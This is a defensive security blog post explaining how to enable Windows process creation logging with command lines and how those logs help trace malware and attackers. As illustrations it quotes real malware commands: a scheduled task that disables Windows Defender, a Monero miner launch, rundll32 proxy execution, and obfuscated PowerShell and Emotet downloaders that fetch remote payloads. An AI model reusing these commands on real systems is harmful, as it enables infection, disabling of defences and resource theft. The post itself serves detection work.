How to Enable Process Creation Events to Track Malware and Threat Activity

This is the second part of a blog series discussing Windows process creation events. Part one introduced process creation events and discussed why they should be enabled.

In this post, we will take a deeper dive and first look at how to enable process creation events, then explore a number of examples that describe how process creation events provide valuable information that can be used to achieve the following two broad goals:

• Tracing malware execution
• Tracing human attacker presence within an environment

How to Enable Windows Process Creation Events

Windows process creation events are disabled by default. They can be enabled via a Group Policy Object, which can be found in Windows Settings > Security Settings > Advanced Audit Policy Configuration > Audit Policies > Detailed Tracking > Audit Process Creation. For the examples described in this article, it is only necessary to set this to “Success.”

When this policy is applied, Windows will log process creation events to the local Windows Event Log as Windows Event ID 4688 (see below). This can be accessed from the Windows Event Viewer.

How to Include the Command Line in Process Creation Events

In addition to enabling process creation events, another separate setting must be enabled: Include Command Line in Process Creation Events. This setting will include the command line arguments in the logged event.

Oftentimes when a program is started, there are parameters (also known as arguments) passed to the program to tell it what to do. These parameters are of critical importance for defenders because they can give solid clues as to the nature of the activity.

The Include Command Line in Process Creation Events setting is helpfully located in a different place in the Group Policy Management Editor (thanks, Microsoft!). This can be enabled at Administrative Templates > System > Audit Process Creation > set Include Command Line in Process Creation Events to enabled.

It must be clearly noted that the goals stated earlier in this article cannot be met with process creation events alone, and that the command line inclusion is of critical importance.

The Importance of Including Command Line Parameters

To illustrate the importance of including the command line, we shall look at an example of what will be seen in a process creation event without, and with, the command line included.

The example will be a built-in Windows executable which is used to manipulate the scheduled tasks on a Windows computer. Malware and attackers will often use scheduled tasks to establish persistence, update settings, or to run other tools.

Without the command line enabled, the process creation event will be logged, however the New Process Name field within the event will contain only this:

schtasks.exe

The Process Command Line field within the event will simply be blank.

The schtasks.exe program is very commonly executed within a Windows environment for operational purposes. If only the process name is shown in the event, there is no way for a defender to determine if its use is malicious or benign. Including the command line will provide much greater context.

The next example shows the same process, but launched by a sample from a cryptocurrency stealing malware campaign known as Razy. This event now includes the command line arguments used to start the program. This shows the exact command string executed by the malware:

schtasks.exe /create /f /sc minute /mo 15 /rl highest /tn \”Windows Services 19\” /tr \”mshta.exe vbscript:CreateObject(‘WScript.Shell’).Run(‘cmd /c reg add ‘’HKLM\\Software\\Policies\\Microsoft\\Windows Defender’’ /v DisableAntiVirus /t REG_DWORD /d 1 /f’,0)(Window.Close)\”

If a defender was reviewing this event, it would immediately look suspicious.

Not only does it tell defenders exactly when the scheduled task will execute, it will tell them what it does, and also provide indicators which can fuel further searches. In this particular example, the malware created this scheduled task to run a script to disable Windows Defender. Malware will occasionally attempt to disable antivirus tools such as Windows Defender to allow other payloads to execute.

This example demonstrates that the value of the process creation event is substantially diminished without the inclusion of the command line parameters.

Tracing Malware Execution with Process Creation Events

We shall now look at some more examples to demonstrate how process creation events with command line can be used to detect and track malware activity. Very often, when malware is launched, it will consist of its own independent process. This is truer for older malware samples.

The malware process itself can be automatically launched in a number of ways, depending on the mechanism of initial infection. For example, shown below is an example of a process created from a sample of HiddenTear ransomware. The process name is a meaningless string of random characters, which possibly changes on each infection:

uuqes3ay.exe

By enabling process creation events, organizations can log instances of malware processes starting, use these to trace malware execution on the local machine, and identify any possible spreading to other endpoints in the environment.

Malware can also execute code outside the current program by creating a new process. Here is another example of a process created from a sample taken from a cryptocurrency mining malware campaign:

svchost.exe -B — coin=monero — url=xmr.pool.minergate.com:45700 — user=eaz0xj5zhawrnds — pass=x — cpu-max-threads-hint=50 — donate-level=4

The malware in this example is using a built-in Windows tool “svchost.exe” to launch malware which will automatically mine cryptocurrency for the threat actors. This insidious threat will surreptitiously consume computing resources until such time as it is found and destroyed.

However, if process creation events with command line are enabled, the event will contain enough information necessary for a defender to not only declare this process as malicious, but to identify the malware as being a type of cryptocurrency miner.

Furthermore, the command line includes a URL as an indicator of compromise which would assist the defender in performing further searches to determine the scope of the infection within the environment. And lastly, the command line parameters in this sample even identify the cryptocurrency coin type being mined (Monero).

The two examples above demonstrate how process creation events can significantly aid defenders to identify, trace, and perform incident response activities related to malware infections.

Tracking Malicious LOLBIN Use with Process Creation Events

The cryptocurrency mining malware in the example above leveraged a built-in Windows program svchost.exe, which in this context, is known as a LOLBIN (living off the land binary) or LOLBAS (living off the land binaries and scripts).

These are interchangeable terms which are used to describe legitimate programs (such as Microsoft programs which are built into a Windows computer) that can be used for malicious purposes. Malware and human attackers will commonly use LOLBINS to achieve their objectives and evade endpoint security systems such as antivirus (AV).

Shown below is another example of process creation via malicious LOLBIN use by a sample from a Cryxos malware campaign. This time the LOLBIN in use is the legitimate Windows program rundll32.exe:

rundll32.exe hxxp://hpsjh.firewall-gateway.net:8080/MicrosoftUpdate?6MCQ7QNK9=849c0ca5ba1a4e34b50a86a8c092b973;U5AVOFNB6B=;\..\..\..\./mshtml,RunHTMLApplication

The trojan in this example is leveraging the rundll32.exe LOLBIN in order to execute a technique known as proxy execution. This is a technique used by both attackers and malware to avoid detection by security tools. In this specific example, the malware is attempting to reach an external URL, and by using the rundll32.exe program, it avoids any controls which might be in place in the standard web browser.

This example demonstrates that by enabling process creation events with command line, organizations can identify malicious LOLBIN use. LOLBINs are very commonly used by both malware and human based attacks.

Tracing Fileless Malware with Process Creation Events

The term fileless malware is used to describe a category of malware which operates only in memory and does not write files to disk. Malware and attackers will often employ fileless malware as part of an attack in an attempt to evade endpoint security systems such as AV. The reason is that any file written to disk could be subject to inspection by security tools, therefore attackers will attempt to increase the success of their campaigns by avoiding writing anything at all to disk.

To achieve this, fileless malware will often consist of a script which is dynamically downloaded from the internet and executed without being saved to disk; however, in order for this to be successful, a script still must be run, and you still have the possibility of capturing the activity using process creation events.

For example, shown below is a process which was created (with command line parameters) from a sample of fileless malware, which is launched when an trojanized Excel document is opened (also via a LOLBIN, cmd.exe):

cmd.exe /c po^wer^she^l^l -w 1 (nEw-oB`jecT Net.WebcLIENt).(‘Down’+’loadFile’).Invoke(‘hxxps://tinyurl.com/y6vlgvu’,’pd.bat’)

If process creation events with command line are enabled, this is an example of what would be logged when the infected Excel document is opened and the malware is launched. An examination of the command line reveals that the malware invokes Powershell from a Windows command prompt, which then downloads and executes a script from a tinyurl link.

This malware sample attempts to evade detection by partially obfuscating the commands (such as using escape characters like “^”), however the functionality is still very clear to a defender.

This example shows that by enabling process creation events, organizations can log instances where fileless malware is executed, which provides valuable and actionable information for defenders.

Tracing Process Parentage with Process Creation Events

As a program executes, whether malware or benign, it will often create additional processes as part of normal operation. A process that is created by another is known as a child process, and the creator is known as the parent process. The same goes for malware. As it executes, it will often create child processes. These child processes can spawn their own children, and when displayed visually, this is known as a process tree.

As an example of processes created by malware, the figure below shows a partial screenshot taken from a host infected by a sample of the WannaCry ransomware. This shows the initial malware process (WCry.exe) launched a child process cmd.exe, which in turn launched another child process cscript.exe:

Process creation events will log the name of the parent process name, and this can be used to identify malicious activity.

Another example shown below is a process tree from a sample from a Emotet malware campaign (according to Any.Run reports, Emotet is one of the most dangerous trojans ever created):

This process tree is showing an infected Microsoft Word document which will spawn an instance of cmd.exe when opened, and this child process will then spawn an instance of powershell.exe.

Both processes will run with long and obfuscated command lines, which will ultimately infect an endpoint with the Emotet trojan. Here is the full command used by the malware:

cmd.exe njksjkdfhdjskfhsdjkhfiweohioqwehqiwoehiqwond iqwohdioqwhdioqwhido & %C^om^S^p^Ec% /V /c set %EJpnHmcJmUrjGFv%=SMnPJmXBpK&&set %ZozzjCsfMN%=o^we^r^s&&set %ihIVIGjqHEOczDz%=cJjRHlLSL&&set %FKPifLQJlE%=p&&set %OIufSlnzwDvBRMk%=APzrKpNkPvKOVYD&&set %cmRJcjTcriABZq%=^he^l^l&&set %zWpJuwoLpSaiCzE%=NLwvQroUIVAYikI&&!%FKPifLQJlE%!!%ZozzjCsfMN%!!%cmRJcjTcriABZq%! \”((‘ & ( HrApshom’+’e[21]+HrAPShome[34]+’+’i’+’rPXirP)((irP((rGtFZrGirP+irPt+rGtYfranc = nerGt+’+’rG’+’tw-obrGt+rGtjrGt+rGtectrGt+rirP+irPGt SyrGt’+’irP+irP+irP+irPrGtstem.rGt+rGtNet.rGi’+’rP+irPt+rGtWrGt+rGtebrGt+rGtCrGirP+irPt+rGtlientrGt+rGt;FZYirP+irPrGt+rGtnsrGt+rGtadrGt+rGt’+’arGt+rGtsrGt+rirP+irP’+’GtdrGirP+irPt+rGt = nerGt+rGtw-obrGt+rGtject randrGt+rGtom;rGtirP+irP+rGtFZYbrGt+irP+irPrGtcd rGt+rGt= Y1ihxxp:rG’+’t+rGt/rGt+rGt/wrGt+rGtwwrGt+rGt.brGt+rGtrscanrGt+rGtirP+irP.rGt+rGt’+’corGt+rGtm.brGt+rGtr/i’+’rGt+rGtnirP+irPformatirGt+rGtvo’+’/vrGt+rGtMh3t/,htrGt+rGttprGt’+’+rirP+irPGtirP+irP://wrirP+irPGt+rGtww.erGt+rGtvirGt+rGtsu.co/CrGt+rGt2rGt+rGirP+irPt’+’WrGt+rGtgrGt+rGt6rGt+rGts/rGt+rGt,hrGirP+irPt+rGtttrGt+rGtp:/rGt+rGt/www.rGt+rG’+’tovrGt+rGtkrGt+rGirP+irPt-rGt+rGtgrGt+rGtrupp.ru/rGt+rGtBoPc6/rGt+rGt,hrGt’+’+’+’rGttrGt+rGtt’+’prGt+rGt:/rGt+rGt/wrGt+rGtww’+’.katinkrGt+rGta.orGt+rGtrg/rGt+rGtv8iorGt+rGt1i’+’rP+irPrGt+rGt/,htirP+irPrGt+rGttp://wwwrGt+rGt.lowcarrGt+rGtbusa’+’.orrGt+rGtg/d’+’vwoM/YirP+irP1irGt+rGt.SrGt+rGtprGt+rGtlit(rGt+r’+’GtY1i,Y1rGt+rGti)rGt+rGt;FrirP+irPGt+rGirP+’+’irPtZYkarirP+irP’+’a’+’prGirP+irP’+’t+rGtas =rGt+rGt FZirP+irPYnrGt+rGtsadasd.rGt+rGtnerGt+rGtxt(1, rGt+rGtirP+irP’+’34’+’32rGt+rGt45rGt+rGt);FZYhrGt+rGtuas =’+’ rGt+rGtFrGtirP+irP+rGtZrGt+rGtYrGt+rGterGt+rGtnv:public + rGt+rGtY1rGt+rirP+irPGt’+’i’+’rP+irPix7frGt+rGtirP+irPYirP+irP1i rGt+irP’+’+irPrGt+ FZrGt+i’+’rP+irPrGtYkarapas + YrGt+rG’+’t1i’+’.exeY1i;forearGt+rGtch(FZYabrGt+rGtc rGt+rGtin irP+’+’irPFZrGt+rGtYr’+’Gt+rGtbcdrGt+rGt)irP+irP{rGt’+’+rGttrrGt+rGty{rGt+rGtFirP+irPZ’+’YfrrGt+rirP+irPGtarGt+rGtnc.DownrGt+rGtlrGt+rGtorGt+rGtadFile(FZrGt+rG’+’tYrGt+r’+’GtabrGtirP+irP+irP+i’+’rPrGtc.TorGt+rGtSrGt+rGttrrGt+rG’+’tingrGt+r’+’Gt(rGt+rGt),rGt+rGt FZrirP+irPGirP+irPt+rGtYirP+irPhuasrGt+rGt);InrGt+rGtvorGt’+’+rGtke-Item(FrGt+rGtZirP+irPYhuasrGt+rGt)rGt+’+’rGt;b’+’rerGt+rGtak;}catch{wri’+’te-horGirP+irPt+rG’+’tst FZY_rGt+rGt.rGt+rGtErGt+rGtxceptiorirP+irP’+’Gt+rGtn.irP+irPMessrGt+rGt’+’age;}}rGt) -c’+’ReplaCerGtY1irGt,[irP+irPcHAr]39 -cReplaCe ([cHAr]120+[cHAr]55+[cHAr]1’+’02),[cHAr]92 -cRepl’+’aCe rGtFZYrGt,[cHAr]36) ZrX. ((gEt-varIab’+’Le rGt*’+’mdr*rGt).naME[3,11,2]-J’+’OinrGtrGt)irP).’+’REplAcE(([chAR]114+[chAR]7’+’1+[chAR]116),[‘+’StriNG][chAR]39).REplAcE(irPZrXir’+’P,irPynhirP’+’)) ‘) -CrepLAcE’HrA’,[chaR]36-CrepLAcE([chaR]121+[chaR]110+[chaR]104),[chaR]124 -CrepLAcE ‘irP’,[chaR]39) | .((geT-vaRIAble ‘*mDR*’).naME[3,11,2]-Join’’)

Under normal operation, the cmd.exe or powershell.exe processes should never have a parent process of WINWORD.exe, and any instances of this occurring should be immediately investigated.

When investigating a malware incident, the malicious process should be traced to the originating parent process to help determine the scope of the incident. This tracing can only be performed if process creation events are enabled.

The examples and description above show that if process creation events are enabled, defenders can detect and respond to malware by analyzing parent and child process relationships. This can be done by either leveraging real-time analytics in a SIEM, or through activities such as threat hunting.

Detecting Human Attacker Presence with Process Creation Event

This article has so far discussed the benefits of enabling process creation events with regard to detecting and investigating malware; however, process creation events can also be useful for defenders in identifying and responding to human attacker activity taking place within their environment as well.

The term human attacker is used to describe a threat actor who manually performs an attack sequence, as opposed to automatically executing a malware sample. Human operated types of attacks can be particularly devastating for organizations resulting in enormous payments extracted or large amounts of infrastructure downtime. Occasionally the initial access (e.g., compromised credentials or other remote access such as Remote Desktop Protocol) are established and sold on criminal forums by threat groups known as initial access brokers.

This type of compromise must be detected as early as possible if defenders are to prevent the attack from succeeding.

After gaining an initial foothold within an environment, attackers will often need to take many steps and perform many actions in order to achieve their objectives. This includes gathering local host information, performing reconnaissance, dumping credentials, and moving laterally. Lateral movement is the term used when attackers exploit system trust relationships to pivot to other applications and systems in order to achieve objectives (e.g., stealing credentials from a system and using them to log onto another system).

A large benefit for defenders is that any single detection across any of these steps can possibly unravel the entire attack. Furthermore, in order to perform these activities, attackers will often leverage the same LOLBINs which were described above. If process creation events are enabled, malicious LOLBIN use by human attackers can be tracked in a similar manner to tracking malware activity.

Detecting Human Attacker Presence with LOLBIN

In a study conducted by Japan Computer Emergency Response Team (JPCERT) on lateral movement in the context of an advanced attack, it was found that a limited set of tools were used by attackers when performing lateral movement, and that these tools were built-in Windows commands, legitimate tools, or LOLBINS.

JPCERT noted that the attackers used LOLBINs because they are not detected by antivirus software. This study was conducted on disk images from the Command and Control servers seized from five different campaigns targeting Japanese companies.

The table below presents part of the results from the study, this table summarizes the counts of commands executed by the attackers during the internal reconnaissance phase of the attack. The attackers executed these commands to look for sensitive information on the compromised machine and the surrounding network.

The table shows that the most common commands executed by the attackers in these campaigns were built in Windows commands, otherwise known as LOLBINs. As described earlier in this article, LOLBIN execution is logged by Windows process creation events.

For example, many of the commands listed in the table above leverage the built-in Windows tool, net.exe. This tool contains functionality that is very useful for an adversary, such as gathering system and network information and moving laterally; however, along with many of the other commands shown in this table, it is not a command that is generally executed by a normal user. This gives defenders an opportunity to detect attacker reconnaissance and lateral movement activity by tracking execution of these commands. Again, execution of these commands can be tracked if process creation events are enabled.

It must be noted that the vast majority of instances of execution of the commands listed in the table above will be benign. It is also possible that benign applications execute these commands as part of normal operation. Therefore, it is strongly recommended that organizations establish a baseline of normal activity when it comes to use of these specific commands. This will enable defenders to more easily identify instances of anomalous or malicious execution.

Stay Tuned for Part Three

This article describes how to enable Windows process creation events and provides evidence to demonstrate the value that they can bring. Stay tuned for part three of this blog series which will discuss how to centralize these events in a SIEM tool, and why organizations should consider enabling these events to compliment the detection capabilities of existing endpoint protection platforms.

Learn more about why you should enable Windows process creation events by navigating to part one of this blog series, here.

The post How to Enable Process Creation Events to Track Malware and Threat Activity appeared first on LogRhythm.

*** This is a Security Bloggers Network syndicated blog from LogRhythm authored by Kelsey Gast. Read the original post at: https://logrhythm.com/blog/how-to-enable-process-creation-events-to-track-malware-and-threat-actor-activity/